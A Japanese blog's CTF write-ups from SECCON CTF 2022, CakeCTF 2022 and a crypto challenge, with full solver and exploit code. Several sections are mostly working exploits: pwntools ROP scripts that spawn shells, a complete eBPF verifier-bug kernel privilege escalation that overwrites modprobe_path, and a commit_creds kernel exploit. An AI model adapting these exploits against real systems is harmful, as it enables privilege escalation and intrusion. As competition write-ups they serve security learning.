0%

Cryptoは普段全くやらない and 解けないが挑戦した。
コンテストに解くことができた1問だけ。

XorshiftStream

ランダムな64bitの初期状態とFLAGと同じ長さのランダムbyte列の鍵を使って暗号化。
鍵+(鍵 XOR FLAG)のbyte列を内部状態と8bytesごとにXORしている。

  • 問題ファイル
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    import os
    import secrets
    from Crypto.Util.strxor import strxor

    class XorshiftStream:
    def __init__(self, key: int):
    self.state = key % 2**64

    def _next(self):
    self.state = (self.state ^ (self.state << 13)) % 2**64
    self.state = (self.state ^ (self.state >> 7)) % 2**64
    self.state = (self.state ^ (self.state << 17)) % 2**64
    return self.state

    def encrypt(self, data: bytes):
    ct = b""
    for i in range(0, len(data), 8):
    pt_block = data[i : i + 8]
    ct += (int.from_bytes(pt_block, "little") ^ self._next()).to_bytes(
    8, "little"
    )[: len(pt_block)]
    return ct

    FLAG = os.environ.get("FLAG", "fakeflag").encode()

    xss = XorshiftStream(secrets.randbelow(2**64))
    key = secrets.token_bytes(len(FLAG))

    c = xss.encrypt(key.hex().encode() + strxor(key, FLAG))
    print(c.hex())

暗号化の際、鍵はhex().encode()されているので最終的な出力はFLAGの3倍の長さのbyte列であり、
前半2/3はhexエンコードした鍵の暗号文、後半1/3は鍵とflagをXORしたものの暗号文になっている。

鍵をhexエンコードした場合、平文は’0’~‘9’と’a’~‘f’の値にしかなり得ないので、
それを条件に64bitの初期状態を求めるz3ソルバを書いてみたら、初期状態が復元できたのでそれを元に鍵とFLAGも復元できる。

  • ソルバ
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    from z3 import *
    import struct
    from Crypto.Util.strxor import strxor

    def update_state(n):
    n = (n ^ (n << 13)) % 2**64
    n = (n ^ (n >> 7)) % 2**64
    n = (n ^ (n << 17)) % 2**64
    return n

    enc = "142d35c86db4e4bb82ca5965ca1d6bd55c0ffeb35c8a5825f00819821cd775c4c091391f5eb5671b251f5722f1b47e539122f7e5eadc00eee8a6a631928a0c14c57c7e05b6575067c336090f85618c8e181eeddbb3c6e177ad0f9b16d23c777b313e62b877148f06014e8bf3bc156bf88eedd123ba513dfd6fcb32446e41a5b719412939f5b98ffd54c2b5e44f4f7a927ecaff337cddf19fa4e38cbe01162a1b54bb43b0678adf2801d893655a74c656779f9a807c3125b5a30f4800a8"
    len_key = (len(enc)//3)*2
    enc_key = enc[:len_key]
    enc_xored_flag = enc[len_key:]

    # calc init_state by z3
    a = BitVec('a',64)
    b = []
    for i in range(0,len(enc_key)//(8*2)):
    n = struct.unpack('<Q',bytes.fromhex(enc_key[i*(8*2):(i+1)*8*2]))[0]
    b.append(BitVecVal(n,64))

    s = Solver()
    for r in range(len(b)):
    t = a
    for _ in range(r+1):
    t = (t ^ (t << 13))
    t = (t ^ LShR(t,7))
    t = (t ^ (t << 17))
    c = t^b[r]
    for i in range(8):
    byte_i = Extract(8*(i+1)-1,8*i,c)
    s.add(Or(And(byte_i >=0x30, byte_i <= 0x39),And(byte_i >= 0x61, byte_i <= 0x66)))

    init_state = 0
    if s.check() == sat:
    init_state = s.model()[a].as_long()
    print("[+] init_state: "+hex(init_state))
    else:
    print("no")
    exit(1)

    # decrypt
    state = init_state
    plain = b''
    len_plain = len(enc)//2
    for i in range(0,len(enc),8*2):
    state = update_state(state)
    t = bytes.fromhex(enc[i:i+8*2])
    if len(t) < 8:
    t += b'\x00'*(8-len(t))
    block = struct.unpack('<Q',t)[0]
    plain += struct.pack('<Q',(block^state))

    plain = plain[:len_plain]
    key = plain[:len_key//2]
    xored = plain[len_key//2:]
    key_raw = bytes.fromhex(key.decode())
    print(strxor(key_raw,xored))

感想

最近AlpacaHackやDreamHackなどの個人戦CTFプラットフォームをちまちまやっているが、
流石にCrypto出来なさすぎてCryptoHackも始めた。
easyくらいの問題は解けるように頑張る。

SECCON CTF 2022にKUDoSで出場
全体21位、国内2位でした

自分はpwnの2問を解いたのでそのwriteupを載せます

pwn

koncha

scanfのbuffer over flow
1回目で何も入力しないことでstack上のゴミからlibcアドレスのリーク
2回目でropをするだけ

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#!/usr/bin/python3
from pwn import *
import sys

#config
context(os='linux', arch='i386')
context.log_level = 'debug'

FILE_NAME = "chall.ptc"
#FILE_NAME = "chall"

#"""
HOST = "koncha.seccon.games"
PORT = 9001
"""
HOST = "localhost"
PORT = 7777
#"""

if len(sys.argv) > 1 and sys.argv[1] == 'r':
conn = remote(HOST, PORT)
else:
conn = process(FILE_NAME)

elf = ELF(FILE_NAME)
#
libc = ELF('./lib/libc.so.6')
off_binsh = next(libc.search(b"/bin/sh"))
off_system = libc.symbols["system"]
off_dust = 0x7ffff7fc82e8 - 0x7ffff7dd7000
off_rdi_ret = 0x23b6a
off_only_ret = 0x23b6a+1

def align2qword(s):
if len(s) > 8:
print("[ERROR] align2qword: argument larger than 8bytes")
exit()
return u64(s+b'\x00'*(8-len(s)))

def exploit():
# rbp-0x30

conn.sendlineafter("?\n", "")
conn.recvuntil(", ")
libc_dust = align2qword(conn.recvuntil("!")[:-1])
libc_base = libc_dust - off_dust
print(hex(libc_dust))
print(hex(libc_base))

payload = b"A"*0x58
payload += p64(libc_base+off_only_ret)
payload += p64(libc_base+off_rdi_ret)
payload += p64(libc_base+off_binsh)
payload += p64(libc_base+off_system)
conn.sendlineafter("?\n", payload);
conn.interactive()

if __name__ == "__main__":
exploit()

 

babypf

eBPFに脆弱なパッチがあたっている

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
diff --git a/linux-5.19.12/kernel/bpf/verifier.c b/linux-5.19.12-patched/kernel/bpf/verifier.c
index 3391470611..44af26055b 100644
--- a/linux-5.19.12/kernel/bpf/verifier.c
+++ b/linux-5.19.12-patched/kernel/bpf/verifier.c
@@ -8925,10 +8925,8 @@ static int adjust_scalar_min_max_vals(struct bpf_verifier_env *env,
break;
case BPF_LSH:
if (umax_val >= insn_bitness) {
- /* Shifts greater than 31 or 63 are undefined.
- * This includes shifts by a negative number.
- */
- mark_reg_unknown(env, regs, insn->dst_reg);
+ /* Shifts greater than 31 or 63 results in 0. */
+ mark_reg_known_zero(env, regs, insn->dst_reg);
break;
}
if (alu32)
@@ -8938,9 +8936,7 @@ static int adjust_scalar_min_max_vals(struct bpf_verifier_env *env,
break;
case BPF_RSH:
if (umax_val >= insn_bitness) {
- /* Shifts greater than 31 or 63 are undefined.
- * This includes shifts by a negative number.
- */
- mark_reg_unknown(env, regs, insn->dst_reg);
+ /* Shifts greater than 31 or 63 results in 0. */
+ mark_reg_known_zero(env, regs, insn->dst_reg);
break;
}
if (alu32)

シフト演算にでbit長を超えるシフト演算をすると検証器はその値を未定義(unknown)にするところを
定数0にしている。
これをどうやってLPEするか

自分は開催前に作問者yudaiさん作のpawnyableを履修していたので
やることは大体わかった。

最終的なcのexploitコードもこの演習で使ったものの流用なのでヘルパーとかかなり酷似しているがご勘弁いただきたい
というか以下の解説もほぼpawnyableの受け売りでしたわ

脆弱なコードの実行

まずは脆弱なコードを実行させるところだが

即値で演算をしてみる

1
2
BPF_ALU32_IMM(BPF_RSH, BPF_REG_8, 32),
BPF_ALU64_IMM(BPF_RSH, BPF_REG_8, 64),

みたいなことをすると検証器に怒られたので
レジスタを経由してみる

1
2
BPF_MOV64_IMM(BPF_REG_4, 32),
BPF_ALU32_REG(BPF_LSH, BPF_REG_8, BPF_REG_4),

検証器のログをチェックするとちゃんと定数になっている

22: (6c) w8 <<= w4 ; R4_w=32 R8_w=0

ちなみにパッチがあたっていないとちゃんと未定義になる

22: (6c) w8 <<= w4 ; R4_w=32 R8_w=scalar(umax=4294967295,var_off=(0x0; 0xffffffff))

0と1を誤認させる

検証器の悪用するにあたってこれが大事らしい
32bitレジスタで1を32bit LSHすると1になるのでこれは簡単に作れる
ちなみにパッチのコメントにある通り負数でもこれは作れて(-1)bitシフトしても壊れてくれる

検証器が0と思っているが実際は1みたいな状況を作れると
乗算すると、任意の値を検証器は0と勘違いしてくれる

skb_load_bytesを利用したAAR/AAW

詳しくはpawnyable 6章も書いているが
skb_load_bytesを利用してoverflowを引き起こすことができる。
検証器は1byteの書き込みだから許すけど本当は9bytes書き込むよ的な感じ

もう一つ大事なことでBPFスタックにはポインタを保存できて
かつその値の追跡も行ってくれる。(完全な受け売り)
そのためBPFスタックに定数を保存したBPFスタックのアドレスを格納して、
skb_load_bytesのオーバーフローでアドレスの下位1bytesを書き換えても
検証器はまだそこに定数を保存したアドレスがあると勘違いするので
AARが作れる。

以下のダンプはこれを利用してBPFスタック周辺をリークしてみた様子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
0x000: ffffffffb3d4fdf5
0x008: ffff97adc36b6600
0x010: 00000000b4000c67
0x018: 0000000000400cc0
0x020: ffffac53c018fcd8
0x028: 0000000000000000
0x030: ffff97adc3754400
0x038: ffffffffb3accc09
0x040: ffffac53c018fdd8
0x048: ffffffffb3d91b3b
0x050: ffff97adc3754800
0x058: ffff97adc3767700
0x060: ffffac53c018fcb0
0x068: ffffffffc034b725
0x070: ffffac53c0095000
0x078: ffff97adc3754400
0x080: 0000000000000001
0x088: 0000000000000001
0x090: 4141414141414141
0x098: ffffac53c018fc98
0x0a0: 0000000000000000
0x0a8: 0000000000000000
0x0b0: ffffac53c018fd10
0x0b8: ffffffffb3d8babf
0x0c0: ffffac53c018fd10
0x0c8: ffffffffb3d5839d
0x0d0: 0000000000000282
0x0d8: ffff97adc3767700
0x0e0: 0000000000000009
0x0e8: ffffac53c018fdc8
0x0f0: ffff97adc3754800
0x0f8: ffff97adc3754400

オフセット0x90をoverflowさせてオフセット0x98のポインタを壊している
オフセット0xb8とかはカーネルのアドレスっぽいのでここからカーネルのベースアドレスを特定する。

AAWも同じ原理で、検証器はスタックのアドレスだと思っている値を任意のアドレスにすることで
AAWが作れる。exploitではmodprobe_pathを利用した

exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
#include <linux/bpf.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#include "bpf_insn.h"

unsigned long kernel_base = 0;
unsigned long addr_heap = 0;

unsigned long off_target = 0xffffffffb298babf - 0xffffffffb2400000;
unsigned long off_modprobe = 0xffffffffbd238340 - 0xffffffffbc400000;

void fatal(const char *msg)
{
perror(msg);
exit(1);
}

int bpf(int cmd, union bpf_attr *attrs)
{
return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs));
}

int map_create(int val_size, int max_entries)
{
union bpf_attr attr = {
.map_type = BPF_MAP_TYPE_ARRAY,
.key_size = sizeof(int),
.value_size = val_size,
.max_entries = max_entries
};
int mapfd = bpf(BPF_MAP_CREATE, &attr);
if(mapfd < 0) fatal("bpf(BPF_MAP_CREATE)");
return mapfd;
}

int map_update(int mapfd, int key, void* pval) {
union bpf_attr attr = {
.map_fd = mapfd,
.key = (uint64_t)&key,
.value = (uint64_t)pval,
.flags = BPF_ANY
};

int res = bpf(BPF_MAP_UPDATE_ELEM, &attr);
if(res < 0) fatal("bpf(BPF_MAP_UPDATE_ELEM)");
return res;
}

int map_lookup(int mapfd, int key, void *pval)
{
union bpf_attr attr = {
.map_fd = mapfd,
.key = (uint64_t)&key,
.value = (uint64_t)pval,
.flags = BPF_ANY
};

return bpf(BPF_MAP_LOOKUP_ELEM, &attr);
}

unsigned long leak_address(int mapfd) {
char verifier_log[0x10000];
unsigned long val;

struct bpf_insn insns[] = {
BPF_MOV64_REG(BPF_REG_7, BPF_REG_ARG1),
BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x8, 0), // fp_x8 key=0
BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -8),
BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // map_lookup_elem(mapfd, &key)
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),

BPF_MOV64_REG(BPF_REG_9, BPF_REG_0),
BPF_LDX_MEM(BPF_DW, BPF_REG_8, BPF_REG_9, 0),

BPF_MOV64_IMM(BPF_REG_4, -1),

// r8 = 0 / real 1
BPF_ALU32_REG(BPF_LSH, BPF_REG_8, BPF_REG_4),
BPF_ALU64_IMM(BPF_RSH, BPF_REG_8, 31),

// r8 = 1 / real 0x10
BPF_ALU64_IMM(BPF_MUL, BPF_REG_8, 0x9-1),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, 0x1),

BPF_MOV64_IMM(BPF_REG_3, 1),
BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -0x28),
BPF_MOV64_REG(BPF_REG_3, BPF_REG_FP),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -0x28),
BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -0x18),
BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x20), // arg4 = fp-0x20

BPF_MOV64_IMM(BPF_REG_ARG2, 0),
BPF_MOV64_REG(BPF_REG_ARG4, BPF_REG_8),
BPF_MOV64_REG(BPF_REG_ARG1, BPF_REG_7),
BPF_EMIT_CALL(BPF_FUNC_skb_load_bytes),

BPF_LDX_MEM(BPF_DW, BPF_REG_9, BPF_REG_FP, -0x18),
BPF_LDX_MEM(BPF_DW, BPF_REG_8, BPF_REG_9, 0),

// map_update_elem
BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x8, 0), // [fp-0x8]=0(key)

BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_8, -0x10), // [fp-0x10]=r2
BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd), // arg1 = mapfd
BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x8), // arg2 = fp-0x8
BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x10), // arg3 = fp=010
BPF_MOV64_IMM(BPF_REG_ARG4, 0),
BPF_EMIT_CALL(BPF_FUNC_map_update_elem),

BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
};

union bpf_attr prog_attr = {
.prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
.insn_cnt = sizeof(insns) / sizeof(insns[0]),
.insns = (uint64_t) insns,
.license = (uint64_t)"GPL v2",
.log_level = 2,
.log_size = sizeof(verifier_log),
.log_buf = (uint64_t)verifier_log,
};

int progfd = bpf(BPF_PROG_LOAD, &prog_attr);
if (progfd == -1) {
printf("%s\n", verifier_log);
fatal("bpf(BPF_PROG_LOAD)");
}
printf("%s\n", verifier_log);

int socks[2];
if(socketpair(AF_UNIX, SOCK_DGRAM, 0, socks))
fatal("socketpair");
if(setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int)))
fatal("setsockopt");


int i;
char payload[0x10];
*(unsigned long*)&payload[0] = 0x4141414141414141;
for(i = 0; i < 0x100; i+=8) {
val = 1;
map_update(mapfd, 0, &val);
payload[0x8] = i;
write(socks[1], payload, 0x9);
map_lookup(mapfd, 0, &val);

printf("0x%03lx: %016llx\n", i, val);
if(i == 0xb8)
kernel_base = val - off_target;
}
printf("kbase = %016llx\n", kernel_base);
return val;
}

void aaw64(int mapfd, unsigned long addr, unsigned long data) {
char verifier_log[0x10000];
unsigned long val;

struct bpf_insn insns[] = {
BPF_MOV64_REG(BPF_REG_7, BPF_REG_ARG1),
BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x8, 0), // fp_x8 key=0
BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -8),
BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // map_lookup_elem(mapfd, &key)
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),

BPF_MOV64_REG(BPF_REG_9, BPF_REG_0), // r9 = mapaddr
BPF_LDX_MEM(BPF_DW, BPF_REG_8, BPF_REG_9, 0), // r8 = &map[0]

BPF_MOV64_IMM(BPF_REG_4, -1),

// r8 = 0 / real 1
BPF_ALU32_REG(BPF_LSH, BPF_REG_8, BPF_REG_4),
BPF_ALU64_IMM(BPF_RSH, BPF_REG_8, 31),

// r8 = 1 / real 0x10
BPF_ALU64_IMM(BPF_MUL, BPF_REG_8, 0x10-1),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, 0x1),


BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_9, -0x18), // [fp-0x18] = mapaddr
BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x20), // arg3 = fp-0x20

BPF_MOV64_IMM(BPF_REG_ARG2, 0), // arg2 = 0
BPF_MOV64_REG(BPF_REG_ARG4, BPF_REG_8), // arg4 = len(1/0x10)
BPF_MOV64_REG(BPF_REG_ARG1, BPF_REG_7), // arg1 = skb
BPF_EMIT_CALL(BPF_FUNC_skb_load_bytes),

BPF_LDX_MEM(BPF_DW, BPF_REG_9, BPF_REG_FP, -0x18), // r9 = [fp-0x18]

BPF_MOV64_IMM(BPF_REG_1, data >> 32),
BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 32),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, data & 0xffffffff),
BPF_STX_MEM(BPF_DW, BPF_REG_9, BPF_REG_1, 0), // [fp-0x28] = data

BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
};

union bpf_attr prog_attr = {
.prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
.insn_cnt = sizeof(insns) / sizeof(insns[0]),
.insns = (uint64_t) insns,
.license = (uint64_t)"GPL v2",
.log_level = 2,
.log_size = sizeof(verifier_log),
.log_buf = (uint64_t)verifier_log,
};

int progfd = bpf(BPF_PROG_LOAD, &prog_attr);
if (progfd == -1) {
printf("%s\n", verifier_log);
fatal("bpf(BPF_PROG_LOAD)");
}
printf("%s\n", verifier_log);

int socks[2];
if(socketpair(AF_UNIX, SOCK_DGRAM, 0, socks))
fatal("socketpair");
if(setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int)))
fatal("setsockopt");

int i;
char payload[0x10];
*(unsigned long*)&payload[0] = 0x4141414141414141;
*(unsigned long*)&payload[8] = addr;
val = 1;
map_update(mapfd, 0, &val);
write(socks[1], payload, 0x10);
map_lookup(mapfd, 0, &val);
printf("target = 0x%016llx\n", addr);
//read(socks[0], payload, 0x10);
}


int main()
{
int mapfd = map_create(0x8, 2);
int socks[2];
unsigned long d = 0x6d6b2f706d742f; // /tmp/km
leak_address(mapfd);
aaw64(mapfd, kernel_base+off_modprobe, d);

// after overwrite modprobe_path
system("touch /tmp/flag");
system("echo -e '\\xff\\xff\\xff\\xff' > /tmp/invalid");
system("chmod u+x /tmp/invalid");
system("echo '#!/bin/sh\n cat /root/flag.txt > /tmp/flag' > /tmp/km ");
system("chmod u+x /tmp/km");
system("/tmp/invalid");

return 0;
}

おわり

10solves問題解けたから褒めたいけど、他のpwnが全然解けてないのでダメです

解きたい問題解けなくて悲しかった
久々にフルメンバーで参加して楽しかった

運営の方、チームメンバーありがとうございマス!

CakeCTF2022にKUDoSで参加して9位でした。
楽しさと悔しさと糸井重里

目次

misc

C-Sandbox

朝方に手をつけてかなり限界だったので何が禁止されているのかは調べてない。
とりあえずbring your own gadgetする。
flagからも第一の想定解だったと思う

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/usr/bin/python3
from pwn import *
import sys

#config
context(os='linux', arch='i386')
context.log_level = 'debug'

HOST = "misc.2022.cakectf.com"
PORT = 10099

conn = remote(HOST, PORT)

src = """
char binsh[] = "/bin/sh";
char **argv = {binsh, 0};
static void win()
{
unsigned long a= 0x9007eb00404038be;
unsigned long b= 0x9008eb00404030bf;
unsigned long c= 0x9090900aebd23148;
unsigned long d= 0x90050f3bb0c03148;
printf("%lx",a);
printf("%lx",b);
printf("%lx",c);
printf("%lx",d);
};
int main()
{
unsigned long ptr[2];
unsigned long tmp;
tmp = ptr[5] - 0x24083; // libc address(not used)
ptr[5] = (unsigned long)(win+10);
return 0;
}
EOF
"""
def exploit():
conn.sendlineafter("input)\n", src)
conn.recvuntil("Running...\n")
conn.interactive()

if __name__ == "__main__":
exploit()

discordでも解法大喜利始まってたので、まあ色々できるよね

rev

nimrev

eqString()の引数的にflagの長さは0x18
eqString()で呼ばれるequalMem_system_1735にbreakを仕掛けたら
gdbくんが教えてくれた

1
2
3
4
5
6
equalMem_system_1735 (
$rdi = 0x00007ffff7d55060 -> 'AAAABBBBCCCCDDDDAAAABBBB',
$rsi = 0x00007ffff7d560e0 -> 'CakeCTF{s0m3t1m3s_n0t_C}',
$rdx = 0x0000000000000018,
$rcx = 0x00007ffff7d55060 -> 'AAAABBBBCCCCDDDDAAAABBBB'
)

luau

lua問

https://github.com/viruscamp/luadec
↑でダメdecompileがうまくいかねぇ〜と思ってたら
https://sourceforge.net/projects/unluac/
@Lorse氏が違う方法での変換コードを貼ってくれたのでそれを元に進める

decode.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

unsigned char table[38] = {62,85,25,84,47,56,118,71,109,0,90,71,115,9,30,58,32,101,40,20,66,111,3,92,119,22,90,11,119,35,61,102,102,115,87,89,34,34};
unsigned char key[] = "CakeCTF 2022";
unsigned char flag[0x100] = {0};

void main()
{
int i;
for(i = 0; i < 38; i++){
flag[38-i-1] = key[i%strlen(key)] ^ table[i];
}
puts(flag);
}

zundamon

revパートだけ担当
source()内で/dev/input/以下の何かを入力として通信するタイプのマルウェアの問題
普通にgdbで実行するとデーモン化の処理でforkしている関係かうまくデバッグできないので
デーモン化する箇所をnopで書き換えてデバッグ

デバッグの結果/dev/input/event2が選択されていて、自分の環境でevent2はキーボードの入力だとわかった

キーボードの入力送っているわ〜ってdiscordに投げたら@Lorse氏からすぐflagが返ってきた

kiwi

ゴリ押しで暗号化処理を解読する。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/python3
from pwn import *
import sys

#config
context(os='linux', arch='i386')
context.log_level = 'debug'

HOST = "misc.2022.cakectf.com"
PORT = 10044

conn = remote(HOST, PORT)

def exploit():
size = 0x40
payload = "01f389fbd70c"
payload += "02"
payload += '%02x'%size
for i in range(size):
payload += '%02x'%(0xff^i)
payload += "00"
conn.sendlineafter(": ",payload)
conn.recvuntil("flag: ")
e_flag = conn.recvline()[:-1]
print(bytes.fromhex(str(e_flag,'utf-8')))
conn.interactive()

if __name__ == "__main__":
exploit()

pwn

str.vs.cstr

_c_strのoverflowで_strのポインタを書き換えAAWが作れる
__stack_chk_fail@gotをwinに書き換え

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#!/usr/bin/python3
from pwn import *
import sys

#import kmpwn
sys.path.append('/home/vagrant/kmpwn')
from kmpwn import *

#config
context(os='linux', arch='i386')
context.log_level = 'debug'

FILE_NAME = "./chall"
#"""
HOST = "pwn1.2022.cakectf.com"
PORT = 9003
"""
HOST = "localhost"
PORT = 7777
#"""

if len(sys.argv) > 1 and sys.argv[1] == 'r':
conn = remote(HOST, PORT)
else:
conn = process(FILE_NAME)

elf = ELF(FILE_NAME)
addr_win = 0x4016ee
got_stack_chk_fail = elf.got["__stack_chk_fail"]
only_ret = 0x40101a

def write_cstr(data):
conn.sendlineafter(": ", "1")
conn.sendlineafter(": ", data)

def read_cstr():
conn.sendlineafter(": ", "2")

def write_str(data):
conn.sendlineafter(": ", "3")
conn.sendlineafter(": ", data)

def read_str():
conn.sendlineafter(": ", "4")

def exploit():
payload = b"A"*0x20
payload += p64(got_stack_chk_fail)
payload += p64(0x8)
payload += p64(0x8)
write_cstr(payload)
write_str(p64(only_ret)[:3])

payload = b"\x00"*0x68
payload += p64(addr_win)
write_cstr(payload)

conn.sendlineafter(": ", "99")

conn.interactive()

if __name__ == "__main__":
exploit()

welkerme

ついにwarmupにカーネル問が
と思ったが本当に初歩的な問題で丁寧な誘導もあるので全然warmup向きの問題。

exploit.c(抜粋)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
static void priv_escalation() {
char* (*pkc)(int) = prepare_kernel_cred;
void (*cc)(char*) = commit_creds;
(*cc)((*pkc)(0));
}

int main(){
int fd = open("/dev/welkerme", O_RDWR);
if( fd < 0){
err_exit("fuck");
}
ioctl(fd, CMD_EXEC, priv_escalation);
system("/bin/sh");
return 0;
}

smal arey

AAWとstack領域を割と自由に書き換えれるので
exit@gotをpopx3_retみたいなgadgetにすると
いい感じにropに持ち込める

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#!/usr/bin/python3
from pwn import *
import sys

#import kmpwn
sys.path.append('/home/vagrant/kmpwn')
from kmpwn import *
# fsb(width, offset, data, padding, roop)
# sop()
# fake_file()

#config
context(os='linux', arch='i386')
context.log_level = 'debug'

FILE_NAME = "./chall"
#"""
HOST = "pwn1.2022.cakectf.com"
PORT = 9002
"""
HOST = "localhost"
PORT = 7777
#"""

if len(sys.argv) > 1 and sys.argv[1] == 'r':
conn = remote(HOST, PORT)
else:
conn = process(FILE_NAME)

elf = ELF(FILE_NAME)
got_exit = elf.got["exit"]
got_setbuf = elf.got["setbuf"]
plt_printf = elf.plt["printf"]
addr_start = elf.symbols["_start"]
rdi_ret = 0x004013e3
pop3_ret = 0x004013de
only_ret = 0x4013e4

#
libc = ELF('./libc-2.31.so')
off_setbuf = libc.symbols["setbuf"]
off_system = libc.symbols["system"]
off_binsh = next(libc.search(b"/bin/sh"))

def overwrite(idx, n):
conn.sendlineafter(": ", str(idx))
conn.sendlineafter(": ", str(n))


def exploit():
conn.sendlineafter(": ", "5")
overwrite(4,200)
overwrite(0,only_ret)
overwrite(1,only_ret)
overwrite(2,only_ret)
overwrite(3,pop3_ret)
#overwrite(4,size)
#overwrite(5,n)
#overwrite(6,arr)
overwrite(7,only_ret)
overwrite(8,rdi_ret)
overwrite(9,got_setbuf)
overwrite(10,plt_printf)
overwrite(11,addr_start)

overwrite(6,got_exit)
overwrite(0,rdi_ret)
conn.sendlineafter(": ", "201")

libc_setbuf = align2qword(conn.recv(6))
libc_base = libc_setbuf - off_setbuf
print(hex(libc_base))

conn.sendlineafter(": ", "5")
overwrite(4,200)
overwrite(0,rdi_ret)
overwrite(1,libc_base+off_binsh)
overwrite(2,libc_base+off_system)
conn.sendlineafter(": ", "201")

conn.interactive()

if __name__ == "__main__":
exploit()

crc32pwn

解けなかった。
ulimitとか/proc/系のファイルでどうにかするのか〜とか疑ってたけど全然違った。
readがst_size分指定しないのかなり怪しいな〜とは思ってたが知識不足って感じ。
反省

おまけ

いつまで経っても脱初心者〜中堅帯を脱出できてなく、かつソロチーム、他の日本勢に結構負けてるのがマジでだめ
がんばります
thanks 一緒に参加してくれたチームメイト
@Lorse @ta1yak1 @k1zuna

